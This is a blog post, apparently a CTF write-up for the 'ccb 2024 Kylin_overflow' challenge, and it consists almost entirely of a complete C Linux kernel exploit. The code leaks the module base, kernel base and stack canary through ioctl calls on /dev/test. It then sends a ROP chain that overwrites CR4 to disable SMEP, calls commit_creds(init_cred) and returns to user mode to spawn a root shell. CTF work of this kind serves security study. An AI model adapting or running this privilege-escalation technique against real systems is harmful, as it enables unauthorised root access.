[ayoung@blog posts]$ cat ./ccb 2024 Kylin_overflow.md

ccb 2024 Kylin_overflow

[Last modified: 2024-09-15]

栈溢出 多个编码和canary

#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <string.h>
size_t user_cs,user_ss,user_rflags,user_sp;
size_t commit_creds=0xcf720,prepare_kernel_cred=0;
size_t prdi_r = 0x90c80;
size_t init_cred = 0x1864660;
size_t mov_cr4_rdi = 0x50;
size_t swapgs_popfq_r = 0x54;
size_t mov_rdi_rax_ret = 0x4C;
size_t ireq_ret = 0x58;
size_t kobase = 0;
size_t vmbase = 0;
size_t canary = 0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xc00ff0+0x36;

void save_status()
{
  __asm__(
    "mov user_cs,cs;"
    "mov user_ss,ss;"
    "mov user_sp,rsp;"
    "pushf;"
    "pop user_rflags;"
  );
  puts("[*] status has been saved.");
}
size_t update_system_gadgets(size_t vmmbase){
	commit_creds+=vmmbase;
    prdi_r+=vmmbase;
    init_cred+=vmmbase;
    swapgs_restore_regs_and_return_to_usermode+=vmmbase;
}
size_t update_testko_gadgets(size_t kobase){
    swapgs_popfq_r+=kobase;
    mov_rdi_rax_ret+=kobase;
    ireq_ret+=kobase;
    mov_cr4_rdi+=kobase;
}
void getshell(){
	if(!getuid()){
		puts("[*]Root now");
		system("/bin/sh");
	}
	else{
		puts("not root yet");
	}
}
typedef struct {
    char buf1[0x20];
    char buf2[0x300];
} a;
void decode1(char *buf, int length){
    for(int i = 0; i < length; i++)
        *(buf+i) = ( (*(buf+i)>>5)&0b111 | (*(buf+i)<<3)&0b11111000 );
    for(int i = 0; i < length; i++)
        *(buf+i) = ~*(buf+i);
    for(int i = 0; i < length; i++)
        *(buf+i) ^= 0xF8;
    for(int i = 0; i < length; i++)
        *(buf+i) += 0x5;
}
void decode2(char *buf){
    for(int i = 0; i < 0x300; i++)
        *(buf+i) -= 0x5;
    for(int i = 0; i < 0x300; i++)
        *(buf+i) ^= 0xF8;
    for(int i = 0; i < 0x300; i++)
        *(buf+i) = ~*(buf+i);
    for(int i = 0; i < 0x300; i++)
        *(buf+i) = ( (*(buf+i)<<5)&0b11100000 | (*(buf+i)>>3)&0b11111 );
}
int main()
{
	save_status();
    int fd = open("/dev/test", 2);
    a a;
    memset(&a, 0, sizeof(a));
    if (fd<0)
        perror("open");
    strcpy(a.buf1, "NdbTh3Vzwu3aFK4PN9B5Fu9fjauaER74");
    decode1(a.buf1, 0x20);
    
    ioctl(fd, 0xDEADBEEF, &a);
    decode2(a.buf2);

    kobase = *(size_t*)(a.buf2)-0x43;
    vmbase = *(size_t*)(a.buf2+0x38)-0x33dcac;
    canary = *(size_t*)(a.buf2+0x160);
    
    printf("[+] kobase 0x%llx\n", (long long)kobase);
    printf("[+] vmbase 0x%llx\n", (long long)vmbase);
    update_testko_gadgets(kobase);
    update_system_gadgets(vmbase);
	printf("[+] commit_creds: 0x%llx\n", (long long)commit_creds);

	size_t rop[0x300];
	memset((char*)rop, 0, 0x300);
	int i = 0;
    for(i = 0 ; i < 0x100/8; i++)
		rop[i] = 0;
    rop[i++] = canary;
	rop[i++] = 0;
	rop[i++] = prdi_r;
	rop[i++] = 0x6f0;
	rop[i++] = mov_cr4_rdi;
    rop[i++] = prdi_r;
	rop[i++] = init_cred;
	rop[i++] = commit_creds;
	rop[i++] = swapgs_restore_regs_and_return_to_usermode;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t)getshell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    memcpy((char*)a.buf2, (char*)rop, 0x300);
    decode1(a.buf2, 0x300);

    ioctl(fd, 0xFEEDFACE, &a);
    ioctl(fd, 0xCAFEBABE, &a);

	return 0;
}